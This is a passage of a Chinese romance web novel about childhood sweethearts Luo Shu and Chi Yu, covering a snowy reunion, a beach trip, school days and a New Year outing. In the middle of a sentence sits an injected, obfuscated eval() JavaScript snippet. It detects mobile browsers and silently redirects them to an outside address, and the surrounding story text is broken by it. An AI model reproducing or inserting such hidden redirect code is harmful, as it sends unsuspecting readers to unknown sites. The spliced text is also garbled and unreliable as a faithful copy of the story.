妆容虽然淡，但是五官摆在那，面部轮廓流畅，脸很小，眼睛很大，唇型也很漂亮，总之怎么化都是锦上添花。 那时她规规矩矩地坐在吧台位陪着赵慕挽，唐烨进店看见赵慕挽的时候打了声招呼，洛姝也恰好面向他，经过赵慕挽介绍后，朝他笑了笑。 就那个时候，唐烨被她美的没能立刻说出话来，后来知道洛姝是池煜忘不掉的初恋后，他总说池煜就是命好。 小李挠挠头：“来咱们店里的漂亮姑娘多了去了，也没见老板见一个，忘不掉一个。” 唐烨“啧”了声，在他头上敲了下，继续吊儿郎当地坐在吧台椅上大谈感情史。 池煜兴致缺缺地听着唐烨从幼儿园说到大学，说到大四将要毕业的时候，那个令他有些难忘的前女友，“那时候我喜欢她，她心里门儿清。毕竟我各种献殷勤，话说得也很直白。不过她就吊着我，不同意也不拒绝。唉，不说了。” 他说到半截不说了，小李还等着下文，焦急道：“烨哥你真是……咋还吊人胃口呢，说呀。” 池煜没什么反应也不好奇后续，毕竟他和唐烨是大学同学，唐烨跟那女生怎么认识到分开，他都清楚。 他心不在焉地想，现在自己和洛姝似乎也变成了这样，他是进攻的那一方，而洛姝也不拒绝，他俩揣着明白装糊涂。学生时代的窗户纸倒是好破，表明心迹后便展开一段不知未来只看眼前的青涩恋爱。 怎么现在就不行了，难道是那时候的勇气都用光了么？ 唐烨还在吹水，池煜快听睡着了，耸拉着眼皮分出神在听吉他手弹曲子，一首好多年前的轻音乐，以前洛姝坐在他单车后面哼过的。 唐烨没有理小李，仍旧没继续说下去，他推了推池煜的胳膊：“回头。” 池煜没搭理他，困意稍稍消减，他看了眼手机上的时间，十二点零七。 与此同时，吉他手弹得那首曲子进行到高潮，唐烨很不客气地给了他一个肘击：“洛姝来了！” 困意顿时消失得无影无踪。 池煜错愕回头，果然看见门口那道纤瘦的身影，她似乎是跑来的，鼻头通红，刘海不规整地垂在额前，头发上粘着稀碎的雪花。 离她最近的那桌人看见她匆匆而来的模样，又看着她头上的雪花，纳罕道：“外面下雪了吗？” 她点头，轻声回了句“是的”，气息还有些不稳，目光落在吧台位坐着的池煜。 他也在看着自己，那张自重逢后始终带笑容的脸，第一次让洛姝看见愕然的神情。 刚要迈开步，池煜已经走到她面前，帮她脸颊上粘着的碎发绕至耳后，又帮她擦掉头上的碎雪：“不是说打算睡觉了么，怎么找过来了。” 说着，又碰了碰她的手：“冷不冷？” “不冷。”洛姝的手很冰，她紧紧攥着，“给你打电话之前，我做了个梦。” 池煜拉着她进了二楼休息室，把灯打开，让她坐在椅子上，问：“梦到我了么。” “是啊。” 洛姝仰头看他，重复：“梦到你了。” 其实没有。 梦里那间冷冰冰的病房里，只有他情绪失控的父母，梦见的内容并不美好。 池煜笑了声：“说说，梦到什么了。” 洛姝默了两秒，直直盯着他的眼睛，艰涩道：“梦到你说讨厌我，永远不会原谅我，让我别再出现你面前。” 这个场景洛姝曾幻想了无数次，每当她假设在某个街头，或是路口，突然遇到了那个被自己单方面分手的池煜，他会漠视，会控诉，又或是说狠话。 可现实却是他始终再朝着她跑，不管她是原地止步，又或是退缩不前，他都朝向她的方向，没有偏移。 池煜叹了口气，他低着头，看着洛姝有些湿润的眼睛，他抬手，放在她发顶上：“因为这个被吓醒了，所以给我打了通电话还不够，又来见我。” 那个噩梦带来的惶然，在此刻在看见池煜的时候，已经烟消云散。 洛姝摇头：“不是因为这个。” 她说：我想见你。” “想确认你不是……只存在我的梦里。” 她这话已经很直白了，池煜却还是问：“为什么？” 他站着不动，洛姝仍是仰着脸看他的姿势，“你知道我的意思。” 池煜弯下腰，凑近她，“可是我想听你说出来。” 距离太近了，近到洛姝看见他略高的眉骨下，双眼皮的褶皱不算深，浓密眼睫纤长，轻轻颤着，略上翘的眼尾像一把钩子。 池煜的五官没什么变化，还是一如既往地帅，帅气中带着精致的漂亮，面部线条依旧流畅，但比少年时候要硬朗，成熟了很多。 那句“我还是喜欢你”，到嘴边却打了个转，变成了：“我想亲你。” 池煜的鼻尖只差一厘就要碰到她的时候，停下来，距离近到视线无法聚焦：“可以。” 他补充了一句：“你想对我做什么都可以。” * 从眼睛一路吻到唇，一触即分。 池煜任由洛姝捧着自己的脸，蜻蜓点水一样的吻还没反应过来就已经结束了，他凝视着她躲闪的眼睛，心中陡然升起一股疑惑的同时，慢慢松开箍着她的手臂。 明明不讨厌自己，也不抗拒亲密接触，甚至鼓起勇气朝自己迈出了这一步，可为什么这一刻还是能触到她躲闪的目光？ 为什么提分手，不告而别去了英国，甚至切断所有联系。 这三个问题一直盘桓在池煜心底，那时他认为洛姝之所以提分手，是因为他自身的原因。 毕竟他性格沉闷，在原生家庭的影响下也习惯性把话藏在心里，更善于用行动表达，能做到的事情轻易不会说出来。 后来戳破窗户纸和洛姝在一起后，池煜明显察觉到自己对她的占有欲愈发强烈。虽然刻意收敛，但洛姝一向心思细腻，他俩又彼此熟悉，一举一动都逃不出对方的眼睛。 所以后来她受不了选择离开，也是情有可原。 可生活中处处都是她的身影，他们两个人呆在一起的时间太长了，他很多习惯再难更改。直到大学的某个暑期，苏望月惊呼：“你怎么完全变了个人？” 他才反应过来，自己受洛姝的影响很深，变得越来越像她。 可饶是如此，池煜曾在伦敦眼和海德公园远远见到洛姝的时候，他却不敢上前去说一句“好久不见”，只是看了一眼又一眼，看着她和同伴嬉笑打闹，那样明媚欢快。只用了短短一周就接受了自己从此淡出她的世界这一事实，回国后不再刻意去想她，也以为自己早已放下。 直到他在粱城看见了洛姝，才发现根本做不到，身体的条件反射太直观，他无法自欺欺人， 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“望月那间空着，我去那儿睡。”池煜替她关上门，提醒：“把门锁上。” 洛姝照做。 这一夜她没再做梦。 * 池煜白天要去公司，实在没时间遛狗，德芙在家急得团团转，正好洛姝一整天都见不到一个来买糖的顾客，干脆下午就去带德芙出门遛弯。 连着一周都是这样，德芙已经形成习惯，下午一到三点半就等在了门口，乖乖等着洛姝来牵自己出门。 德芙已经十岁，只用溜半个小时就够了。 天气预报说傍晚会下雨，下午四点的天已经覆盖一层厚厚的阴云。 德芙乖乖蹲在草地上，用头蹭了蹭洛姝，在外面它只要玩够了，就会这样。 “走吧，带你回去。”洛姝照例给德芙拍了张照片发给池煜，而后带它回家。 刚出电梯，便听见有人在说话，越靠近越耳熟，反应过来这是蒋春燕声音的时候，洛姝已经和她打了个照面。 德芙躲在洛姝身后，连尾巴都不敢晃。 她就这样挡在金毛面前，喊了声：“蒋姨。” 蒋春燕举着手机，按门铃的动作僵住，显然一怔，她对电话里的小儿子叮嘱了一句，“先不跟你说了，乖乖在家写作业”，然后挂断电话。 “洛姝？” 蒋春燕有些不可置信，快走两步，自上而下打量了洛姝一眼，微拧着眉头，神色不大自然：“还真是你啊。” 洛姝点点头，进也不是，退也不是，她想说些什么来圆场，可实在是不知道说什么来调节气氛。 毕竟距离上一次见到蒋春燕是在九年前，那时她们和撕破脸没什么区别。 蒋春燕也没像当年那样剑拔弩张，只是盯着看了两眼，然后看了眼她身后的金毛，随意说：“养狗了啊。” “嗯。” 蒋春燕有些警惕地问：“你和池煜一个小区？” 洛姝攥紧口袋里的手指，回答：“我不住在这。” “来找池煜的吧。”她又问。 “嗯。” 蒋春燕没再说什么，点着头从她身侧路过，进了电梯。等到电梯门合上，洛姝才带着德芙进了家门，等了好一阵才离开。 回到店里的时候，天边几乎被乌云笼罩，今日无风，让人无端感觉有些压抑。 没过多久便下起了大雨，豆大的雨滴砸在玻璃窗，洛姝独自缩在单人沙发上没有开灯，店里黑漆漆一片，呈现诡异的安静。 听着纷乱的雨声，她的心竟然静了下来，思绪抽离，偶尔有几道白生生的闪电照进来，亮了一瞬，伴着轰鸣雷声，震着耳膜。 洛姝不由得想到了很多年前穿着病号服，怒容满面，可以用张牙舞爪来形容的蒋春燕，那声嘶力竭的吼声震着她耳膜，发出嗡嗡鸣叫。 噗通—— 池升双膝跪地，求她：“算叔叔求你！放过小煜，我们就这一个儿子！” “轰隆！” 雷声大作，洛姝蓦地在黑暗中睁开眼，胸口闷得发涨，她双手捂在心口，急促喘息着。 又梦到了，最不想回忆的。 26. 08 “我陪着你呢，去哪都不会丢下你的。” 那晚，洛姝后来对池煜说：“我感觉自己被他和妈妈抛弃了，他们都不要我了。” 池煜摸着她的头，强调好几遍，去哪都不会丢下她。 “为什么？”那时，她近乎天真地问。 池煜很浅地笑了下，回答她：“因为我是你哥啊。” 原计划定在一星期后返程的粱城之旅，在苏望月的提议下延长了半个月。 洛姝迟来已久的初潮在逐渐减轻的疼痛中结束，终于可以赤着脚踩在沙滩上，触碰咸湿的海水，近距离欣赏漂亮的海。 可她没什么兴趣。 夜幕降临，吹到脸上的风都是暖的，她躺在沙滩椅上，兴致缺缺地看着远处帐篷里，池煜正在把烤串摆在烤架上。 他头发长了，有些遮眼，有层次感的短发在风里晃晃悠悠，并没有影响到他手里的动作，因为他做任何事都是凝神聚气的认真模样。 洛姝看得出神，脑子里不受控制地回想起他说的那句“因为我是你哥啊”。 说得很直接，也很理所应当，好像他俩就该是这样发展才对。 若是换作以前，洛姝会觉得有池煜这个哥哥很好，可自从反应过来喜欢他之后，再听到这句话有些难以接受。 ——谁要当你妹妹啊！ ——看不出来我喜欢你吗？ 她在心里咆哮，不自觉有些恼他像块木头。 没过多久便看见池煜手里端着盛烤串的盘子朝她的方向走过来，似乎对她好成为一种本能，惯性使然。 许玥迈着轻快的步子走向他，指着盘子说了些什么。风太大了，又有些距离，洛姝听不真切，却看得见她笑得很开心，少女心事全写在脸上，任是再迟钝的人都能看出端倪。 洛姝注视着他们，不知道是不是因为前几天目睹了许玥对池煜表白的缘故，现在只要看见许玥靠近池煜，心里面竟然感觉到不舒服。 她站起来朝池煜走过去，离得近了，听见许玥说：“你烤得看起来就很香。这么多，能不能分我点？” “都是我妹爱吃的。”池煜拒绝了，偏过身子指了指烧烤架，“叶哲他们烤了很多。” 而后，撇下许玥继续往前走。 脚下松软的沙砾挠着脚心，有些痒，洛姝小跑起来。 她小时候很调皮，走路都是用跑的，还经常摔倒，又是个娇气包很爱哭，很多小朋友因为她爱哭都不爱和她玩。 只有池煜愿意跟她玩，也因此从小就养成了习惯，怕她摔倒，所以看见她奔向自己就展开双手，已经成为本能反应。 哪怕她现在已经不会那样冒失。 “饿了？” “有点。” 其实她十分钟前才吃了个蛋挞垫肚子。 池煜把盘子递给她，里面是各种肉串，蔬菜串，水果串单独拿在手里，怕串味：“不是才吃了个蛋挞垫肚子么。” “你看见了呀？”洛姝眼睛弯弯，“你不是忙着在烤东西吗，怎么还能注意到我？” 池煜不说话，跟着她坐在沙发椅上，从纸巾盒里抽出面巾纸递给她。 风太大了，她又散着头发，吃得很勉强。 池煜绕道她身后帮她把头发扎起来，又伸手去拿她手里的烤串。 洛姝一愣，她记得池煜从来不吃撒孜然的东西，但看他伸出手，还是下意识把手里没动过的串递到他唇边。 “我不吃。” 池煜歪了下头，解释：“我帮你拿着。” 他烤了很多，总之把洛姝爱吃的都烤了一遍，苏望月知道他不吃烧烤，也跟着帮忙烤了几串，结果帮了个倒忙，全都成了黑炭扔进垃圾箱里了。 洛姝边吃水果边口齿不清地说：“可是我吃不完。” “能吃多少吃多少。”池煜看着远处玩得一脑门汗的梁诺诺和赵慕挽，“去分给你朋友，她们还都饿着。” 他帮洛姝脸颊上的碎发绕到耳后，站起来：“我去帮忙。” “好。” 洛姝端着盘子招呼梁诺诺和赵慕挽，两人互相搀着走在沙滩上，欢快地跑过来：“天呐好香！” 赵慕挽边吃边说：“我刚刚看见是池煜端过来给你的。他真的对你好好啊！！真的像你亲哥哥一样。” 风卷残云般吃了两串烤肉后，她食指大动，“我去苏望月那儿看看。”说完跑向帐篷。 梁诺诺陪在洛姝身边，跟着她一起看向帐篷的方向，池煜在和苏望月说话，许玥凑上去后，他不动声色地后退半步，然后继续忙着手里的活，直接退出谈话中心。 “你哥是不是看出来许玥喜欢他了？” “嗯。”洛姝拉着她小声说：“前几天晚上她跟池煜表白被拒绝了。” 梁诺诺有点震惊：“池煜跟你说的？” “不是，当时我就在现场。”洛姝和她细致说了一下当时发生的事情：“我感觉她是去表白的，怕尴尬所以躲起来了。” “池煜好像从来的第一天就很少和许玥说话，我当时想着都是同学怎么对许玥这么冷淡，但是他对我和慕挽就不像那样。现在明白了，那是避嫌呢。” 梁诺诺起码默了一分钟，她忽然开口：“池煜是不是喜欢你？” 洛姝愣了一下，想都没想就说：“感觉不出来。” “感觉不出来是什么意思？”梁诺诺继续说：“你们又不是亲兄妹，他对你这么好，应该是能感觉到的呀。” 洛姝说得理所当然：“他从小到大都对我这么好啊。” “那你呢，喜不喜欢他？”梁诺诺挽着她手臂，带着她往人少的地方走，狡黠道：“是喜欢的吧？” 洛姝点头，脸上没有半分羞涩：“喜欢。” “果然让我猜到了啊。”梁诺诺一脸“我就知道”的表情：“所以同理可得，他也喜欢你。” 毫无逻辑可言，这话说服不了洛姝：“他说了他是我哥。” 梁诺诺和洛姝同龄，虽然没有像洛姝一样跳了一级，但她比洛姝早熟一些，又是旁观者，还是能看得出来洛姝和池煜之间的不同寻常。 “说归说啊，又不是真的哥哥。你们没有血缘关系，就算住在他家里也不是真的兄妹，他也没义务像现在这样对你事事有求必应。” * 晚上十一点二十分，夜风渐凉，沙滩上的人少了一大半，洛姝一行八个人唯独少了个苏望月，剩下的人面面相觑。 距离苏望月掉队已经过去了五个小时，偏偏他手机还没电，此刻被池煜握在手里。 池煜看了眼被凉风吹得打了个哆嗦的洛姝，提议：“温度降下来了，先回去吧。” 气氛有些诡异，没人应声，许玥说：“你们先回去吧，我在这里等他。” 梁诺诺不太认同，“民宿就在这附近，这个点他就是回来也不会来沙滩了。” 叶哲和方路明也劝：“走了许玥，留在这里还不如回去等。” 许玥脸上没有一丝笑容，只是摇头，固执地说：“你们先回去。” 附近沙滩上留下的都是些中年男人，女生落单留在这里也不大好，叶哲和方路明平时和许玥关系不错，见劝不住就都没再出声也没往回走。 洛姝和梁诺诺还有赵慕挽三个人肩上裹着一条毛毯，风吹在身上已经不是燥热而是冷了。 赵慕挽脸色不大好看，跟她们两个对视一眼，眼中的幽怨明显，但也是一声不吭，看大家都不走，也就没有由着自己的性子转身走人，僵在原地。毕竟是一块出来玩，要是这个时候起了争执也太不划算了。 洛姝又打了个哆嗦，她是个很怕冷的人，刚要出声打算和两个朋友先走一步，池煜捏着她手腕，看着三个小姑娘说：“走，我送你们回去。” 而后又回头对叶哲和方路明说：“我给她们送回去就来。” 梁诺诺舒了一口气，拽着赵慕挽就往民宿跑：“走走走，太冷了。” 赵慕挽回头看了眼洛姝，刚要说话就又被梁诺诺扯住，“快走啦！” 洛姝和池煜肩并肩往回走，听他在旁边说：“要追上去么？” 梁诺诺很明显是支开自己和赵慕挽让他俩单独回去，洛姝不由得有些开心：“不要。” 她把毯子分一半给池煜。 池煜说：“我不冷。” 即使这样说也没有把毛毯拿开。 洛姝朝他身边挪，笑容放大再放大，而后轻飘飘地哼了声：“我说你冷，你就是冷，谁让你要当我哥哥？” 他笑：“这是命令么？” 洛姝一本正经回答：“是。” 池煜也勾起唇笑了下，配合：“嗯，我冷。” 而后他问：“那要是不当哥哥呢？” ——不当哥哥的话，我们就什么关系都没有了。 洛姝愣了一下，率先想到的就是这个，她凝望着池煜的眼睛，那双浅色的瞳孔含着一层水色，浓密的睫毛轻颤，在等她的答案。 洛姝没意识到自己的声音有些发颤，指尖也在颤抖，她有些不确信：“是我想的那样么？” 池煜弯下腰与她对视，他回答迅速：“是。” 这时候洛姝才理解了那句话的真正含义，很隐晦，同时证实了梁诺诺的猜想。 她有些晕乎乎，顺势靠在了池煜手臂上，“那也要听呀，不能耍赖！” 池煜在她发顶揉了揉。 “嗯，答应你。” * 九月开学季，洛姝正式步入初三。 班里同学都自发地开始内卷，康语作为班主任很欣慰，一周后，向学校申请延长自习到晚上八点半。 池煜在高中部，每晚上自习到九点才放学，刚开学的一周，洛姝每天自己回去，有时候是池升派自己的司机来接。 现在因自习改了时间点，她就还像之前一样在班里多写半小时作业，然后和池煜一起回家。 第一次月考过后，班里同学对学习的积极性更高涨，课间即使凑在一起也是讲解题目，甚至自习八点半结束后，仍有几个同学去办公室去请教老师。 八点四十分，班里剩余的学生只剩洛姝一个，走廊外的脚步声也渐渐消息。 她还像往常一样，等到讲台正上方的时钟指到九点的时候已经收拾好了书包，拎着出了班门。 关上灯锁好门后，走了没两步，走廊拐弯处突然闪出一个人影，吓得她往后退了两步。 “诶，不好意思啊吓到你了。”男生也是一惊，羞涩地挠了挠头，“抱歉，我不是故意的。” 洛姝吓得心脏狂跳，走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15375737|168327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廊本就很暗，各班门已经上锁，黑漆漆的，或许整栋教学楼就剩她一个人。 橘黄的路灯照过来，很诡异也有些恐怖，看起来像是会发生校园怪谈。 洛姝连男生脸上的表情都看不清，心里陡然升起一股害怕，直接朝楼下跑。 男生跟上，急声说：“你别跑啊！” 似乎是处于青春期，嗓音有些沙哑，像鸭子叫，总之声音很难听。 他不说话洛姝还能跑得慢些，这一开口，洛姝直接迈大步跨了好几个台阶往下跳，活跟见了鬼似的。 男生愣了下，说：“同学，你跑那么快干嘛？” 洛姝抱着书包朝楼下狂奔，等到了平地，她看见了远处亮着灯的高一教学楼，很吵，很多学生背着书包已经到了校门口。 很快她便看见逆着人群朝她走来的池煜。 身后，男生还在坚持追着：“我有话要对你说，我……” “哥！”洛姝高声喊，然后快速朝池煜跑去。 池煜步伐加快，看见她朝自己跑过来，展开双臂，提醒：“慢点跑。” 苏望月落后好几步，看见追在洛姝身后的男生，秒懂：“算上这个，已经是第四个了吧？” 洛姝这学期开学收到了不少情书，这个月甚至有好几个人当面表白她。 原因是有人拍了张她模糊的侧脸发在了粱城中学生表白墙上，并附上文字“捞人”，有认识她的就在评论里说了她所在的班级和姓名。 也因此在课间的时候，经常会有低年级或是同年级的学生来班门口晃悠，就是为了看她长得像不像那条热评说的：“本人真的巨漂亮，脸很小，特别白！你们见到就知道了”。 池煜在那个男生伸出的手快要够得到洛姝肩膀的时候，他把人拦在身前，接过洛姝的书包帮她把杯子拿出来，递过去：“没事了，哥在这呢，跑不了。喝点水。” 那个男生不敢上前了，很尴尬地站在原地。 苏望月“诶”了声，抬起下巴看着男生，戏谑道：“干嘛呢小同学，是不是欺负我妹妹了？” 男生吓得吞咽了下口水，根本不敢说话。 他知道洛姝有个中考成绩全市第一的哥哥，目前就在学校里读高一，听说练过散打的，把校体育队一个体育生打的鼻青脸肿。 可是没听说她有两个哥哥啊，面前的苏望月吊儿郎的模样，书包没背，校服搭在肩上，看起来跟个小混混似的。 洛姝跑得气喘吁吁，紧紧攥着池煜的校服，猛地灌了一口水后才控诉：“他吓唬我！” 喝水太猛，杯子里的水沿着唇角沾到下巴，池煜抬手用手背帮她擦掉下巴上的水渍，这才把目光落在男生身上。 男生吓得站得笔直，说话都不利索了，生怕她这两个哥哥扬起拳头给自己一拳，毕竟这两个人其中有一个人是练过散打，成绩又好，可谓是文武双全。 他再次道歉，解释：“对不起！我真不是故意躲在那的，就是想和你交个朋友。” 说完，背着书包就跑了，用落荒而逃来形容也不为过。 “跑得还挺快。”苏望月打了个哈欠，没有任何形象地伸了个懒腰。 自从他骑死飞自行车摔进医院后，都是由家里司机接送上学，走到校门口后便和兄妹俩告别上了车。 “怎么吓唬你的。”池煜问着，帮她把杯子盖好，又自然地把她的书包拿在手里。 “他突然从走廊拐角走出来，吓我一大跳。” 洛姝心有余悸地拍了拍心口：“我跑得可快了，他还在后面追着我跑，竟然还让我别跑，我不跑才怪呢。” 虽然那条“捞人”的动态在池煜的干预下被表白墙的皮下删除，但洛姝人坐在班里的时候，还是有许多外班人刻意路过她们班，打听：“你们班洛姝是谁啊”、“洛姝长什么样啊”。 今晚要不是池煜和苏望月来得够及时，恐怕追着她跑的男生也不仅仅像说得那样只是为了“交个朋友”那么简单。 “这些人都好烦啊。”洛姝长叹一口气，蔫了吧唧地歪着脑袋。 路灯下，他俩的影子轮廓很清晰，她垂在脸颊两侧的头发无力地打着摆儿，歪着脑袋走路有些像一颗行走的歪脖子树，很滑稽。 她幽怨地抬头，扯了扯池煜的袖子：“我们什么时候在一起啊！” 池煜伸出手，垫在她下巴上，反问：“我们不是一直在一起么。” 清晰的影子里，他的手指修长，骨节分明，很漂亮的一只手，不是按在钢琴键，没有拿起画笔，而是在这一刻贴在她下巴处的位置。 温热的掌心温度贴着她的肌肤，并拢的五指虚虚贴着她的侧脸，托着她故意歪斜的脑袋。 洛姝鼓起一侧腮帮子瞪他。 ——什么时候一直在一起了？在粱城戳破那层窗户纸后还跟平时没两样啊，完完全全没有任何变化，怎么能叫在一起呢？ “……” 忽然间，她想到所谓的”在一起“其实有好几种意思，从小一起长大，也算是其一。 搬去他家里，当他名义上的妹妹，一直住同一屋檐下也确实算“一直在一起”。 洛姝咬牙切齿：“你偷换概念。” 作为理科生的池煜无辜地笑了笑：“怎么会，在我这里只有一个意思。” 27. 09 等到纸箱里被洛姝放满了厚厚的试卷时，已经是次年的元月份。浔城的冬天干冷，市一中放了为时三周的短暂假期。 假期仍是由刷不完的题，写不完的试卷构成，班主任与各科老师每天都要求学生早起背书打卡，定点完成每日作业量。 好在两天后除夕将近，新年将至，班主任与各科老师暂缓了打卡时间，暂停作业，意在让学生们无负担地“过个好年”，洛姝得以缓口气。 虽然池煜成绩优异，但蒋春燕和池升对他的学习抓得很紧，为时三周的假期仍送他去上补习班，每天中午接近一点才到家，除夕当天才放假。 午饭点，蒋春燕在厨房忙碌，五道菜整整齐齐摆在桌上，就在等丈夫和儿子回来便开饭。 虽然有保姆打下手，她却仍坚持凡事亲力亲为。 她和池升是从娘胎就定下的亲，没念过几年书，从小被灌输的思想就是在家相夫教子。她一直等到适婚年龄，等到池升终于大学毕了业，按照家里的安排娶了她。 池升学设计的，毕业没找对口工作，找他爸借钱盘了家快倒闭的珠宝店，想证明自己干一行行一行。 结果自己支撑了几年仍不景气，全靠他有个有能耐的老爹，索性心安理得的啃了老，后来他拿着洛亦祥给的五十万全扔到店里，果然砸出了不小的水花，生意蒸蒸日上，开始早出晚归。 十二点半，池升还未回家，蒋春燕急躁地在客厅来回踱步，洛姝安静坐在沙发上，她有些饿了，没什么精神地靠在沙发上看着电视。 没过多久，门被人从外打开，池煜回来了。 蒋春燕忙迎上去，朝他身后看：“你爸呢？” 说着扭头，看向洛姝：“洛洛吃饭了，去盛饭吧。” “他说有事，没回来。”池煜径直把书包放在玄关，而后快速走进厨房洗了洗手，把洛姝手里的饭勺和碗都拿了过来：“下午没课，带你出去逛逛？” 洛姝眼睛瞬间亮起来，她整天待在家里要发霉了：“怎么这么突然。” “前几天你不是想去书店逛逛么。” 洛姝等在旁边，接过他盛好的饭，和他一起去了客厅，蒋春燕还站在玄关，分贝提高，在跟池升打电话：“吃饭点你不回家，你有什么事？” 手机那头的池升不知道说了什么，惹得蒋春燕怒气更盛，解下围裙摔在沙发上：“你天天都是这句话！” 她嗓门大，摔围裙的声音也很响，洛姝吓得坐直了身子，纵然清楚知道蒋春燕的脾性，还是在她经过自己身边的时候半天不敢动筷子。 一旁的池煜视若无睹，他早就习惯母亲的喜怒无常，给洛姝夹菜，问：“一上午都在家写作业？” “没有，睡了一上午。” 洛姝回答完，蒋春燕也从卧室出来，她换了件外套出来坐在餐桌上，一言不发地给洛姝和池煜夹菜，“多吃点。” 洛姝看着碗里的芹菜，实在是不爱吃，但她还是在蒋春燕的注视下吃了一根，然后埋头扒饭。 蒋春燕脸色稍霁，开始问池煜今天上午的学习情况，池煜回答的很冷淡，只是嗯了声就继续低头吃饭。 她没再问了，望着玄关的位置，很快站起来，丢下一句“你们在家吃饭，我去看看”，然后换好鞋离开家。 门刚关上的那一刻，池煜把洛姝碗里的芹菜挑到自己碗里，“你是笨蛋。” 洛姝撑着脸，反问：“笨蛋还是聪明蛋，你选一个。” 池煜不回答，只是看着她。 下午，两个人去了街上。 春节将至，街道店外到处都放着喜气洋洋的歌曲，入眼都是红色，氛围实在是热闹。 洛姝常去的那家书店生意很好，结伴同行的人不在少数，她拉着池煜进了店，直奔自己要去的书架，把早已列在心里的书单抱在了手上。 一回头，池煜站在儿童绘本区，正蹲在一个孩子旁，听他手舞足蹈地说话，手指向最上层。 等到池煜帮了忙，又从最上层的书架拿了本书，扭头看向洛姝，扬了扬手里的读物。 洛姝抱着怀里的书，揶揄：“看不出来哥竟然喜欢看6到8岁的儿童注音读物。” “不光喜欢看，还爱读。” 池煜翻开手里已拆封供人阅览的读物，随手指了一段：“你小时候最喜欢的一本书，每次来找我都让我指着读给你听。” 洛姝扒着他的手看到书封，想起来自己确实是有一本一样的放在别墅里，已经过去很多年没有翻过了。 洛姝不可思议：“这你都记得？” 池煜笑了下：“我记性还不错。” “不过那本书被我放在书房很多年没翻过了，我都长大了，不是小孩子了。”她怅然地叹口气，不得不说小时候的真的很无忧无虑，没有一丁点儿烦恼，那时候父母仍和睦，什么都是最好的：“还是小时候好，真想坐时光机回到过去。” 池煜换了本未拆封的放到她抱着的那摞书上面，然后接过来抱在怀里：“走吧，去结账。” 洛姝两手空空，追在他身后：“你真要买那本？” “读给你听，让你重返六岁。”池煜回答得正经。 洛姝一噎，随即绕到他身前看他表情：“……池煜，你幼不幼稚啊。” 那本儿童绘本被池煜放在了书架上，在一众散文与国外名著里显得有些格格不入。 除夕当天，蒋春燕给池煜房间贴对联的时候，无意中瞟到了他书架上的儿童绘本，翻开快速浏览了一遍，还嘟囔一句：“怎么买了本小孩子才看的书？” 池升在客厅和洛姝一起包饺子，接了句：“这说明儿子有童心。” 洛姝忍俊不禁。 等到饺子快要包完的时候，她接到了洛亦祥的电话：“洛洛，今年爸爸在外面出差，不能接你回来了，等到时候给你包一个大大的红包。” 洛姝有些恍惚，有多久没跟谢玫和洛亦祥一起吃过年夜饭了？从她搬来算起，有两年没有在父母身边过新年，但总觉得昨天还和他们聚在一起过团圆年，习惯性地“嗯”了声，然后客气又礼貌地说出挂断号码前的话术：“爸爸再见。” 她已经不会像以前那样，接到洛亦祥敷衍的来电会躲在被窝里偷偷哭了，也不再期待、埋怨他话里永无期限的说辞，因为根本不重要。 * 大年初四这夜，浔城下了好大一场雪，直到次日下午才停下。 洛姝所在的粱城旅游的八人小群里没人退群，苏望月在里面狂轰乱炸发语音消息：“大伙儿都在哪呢？雪下这么大出来打雪仗啊！” “都干嘛呢，收到回答。” “收到——请——回答。” 赵慕挽：无聊。 方路明：无聊。 叶哲：无聊。 许玥：无聊。 过了五分钟。 梁诺诺：同上。 苏望月：？ 苏望月：@池煜@洛姝出来打雪仗啊！ 洛姝看见消息的时候已经又过去了两分钟。 池煜问她：“想不想出去打雪仗？” 洛姝听到别墅外面有小孩子的笑声，也是在外面打雪仗，听着这愉悦的笑声，自己的心情也被影响到。她点头：“去吧，总是在家太闷了。” 池煜在群里回复：在哪。 苏望月：在奥体中心。你们都来啊，人多才好玩！ 他把除了池煜之外的所有人都艾特出来。 洛姝：［OK］ 梁诺诺：［OK］ 赵慕挽：［OK］ …… 半小时后。 苏望月和许玥已经等在外面广场上，不知道正在说些什么，许玥放肆大笑，一掌给苏望月推出去老远，在看见池煜带着洛姝的时候，收起咧开的笑容，略有些拘谨地抬手打招呼。 苏望月捏了捏洛姝的帽子，夸：“洛洛，你今天怎么这么可爱啊。” 洛姝怕冷，穿着很厚实的羽绒服，戴着一顶毛茸茸的帽子，乌黑顺亮的头发扎成双马尾辫放在身前，口罩外只露出这么一双清澈的小鹿眼，又加上个子不算高，今天这扮相怎么看怎么可爱。 苏望月刚要伸出手去捏她的马尾辫，突然一团雪直直地丢到他脸上，松散的雪扑面而来，又簌簌落进衣领中，冻得他直哆嗦，立刻用两手摸着脖子要把雪抖出来：“诶卧槽，谁特么暗算我——” 许玥笑着在旁边指认：“我看见了，是池煜！” 罪魁祸首手里的雪球已经成型，看起来比刚才松散的雪团威力还要大，池煜掂了掂手里的雪球，似乎在找角度扔过去，漫不经心道：“不是你说要打雪仗么。” 苏望月咬牙切齿：“我可没说是现在。” 池煜唇角很浅地勾起，挡在洛姝前面，手里的雪球已经直直丢出去。 苏望月瞪着眼睛，几乎是条件反射地歪了下脑袋，雪球虽然没有正中他面门，但是还是擦过嘞他的脸，冰凉凉的雪让他再次打了个冷颤，“哎呦我——” 他识时务地求饶：“错了煜哥，别揍我了。”然后又很臭屁地说：“等会咱俩强强联合，给方路明和叶哲直接打趴下——” “洛洛！” 梁诺诺来了，她心情特别好，远远喊了一声后，跑得飞快，和洛姝抱在一起：“你今天好可爱啊啊啊！” 苏望月又闪到她面前，摸了摸她的帽子，“你俩都很可爱嘛，戴着闺蜜帽子。” 梁诺诺摸了摸帽檐：“嘿嘿。” 她戴着和洛姝一模一样的帽子，只扎了个双马尾，并没有像洛姝那样扎成四股辫。 她捏着辫子凑近洛姝：“辫子好好看，这是四股麻花辫诶，怎么编的呀，教教我。” “我也不会，我哥给我编的。” 洛姝低着头摸辫子，她只会辫三股麻花辫，还容易散。她算是手残，编得也不好看，所以池煜跟着视频里给她编了四股麻花辫。< 